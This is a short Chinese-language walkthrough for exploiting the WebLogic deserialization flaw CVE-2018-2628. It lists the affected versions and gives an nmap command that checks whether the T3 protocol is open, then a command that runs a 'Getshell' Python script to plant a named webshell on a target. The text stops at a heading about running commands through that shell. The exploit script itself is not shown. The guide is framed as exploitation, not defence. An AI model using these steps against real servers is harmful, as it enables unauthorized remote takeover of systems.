WebLogic反序列化（cve-2018-2628）漏洞利用

0X00漏洞概述

2018年4月18日，Oracle官方发布了4月份的安全补丁更新CPU（Critical Patch Update），更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击，并可获取目标系统所有权限。

0X01影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

0X02漏洞利用

1.环境检测

检测weblogic版本信息和t3协议是否开启
nmap -n -v -p 7001 ip --script=weblogic-t3-info -Pn

2.getshell

py -2 CVE-2018-2628-Getshell.py ip 7001 abcdef.jsp(自定义webshell名称，长度为10)

3.利用shell执行命令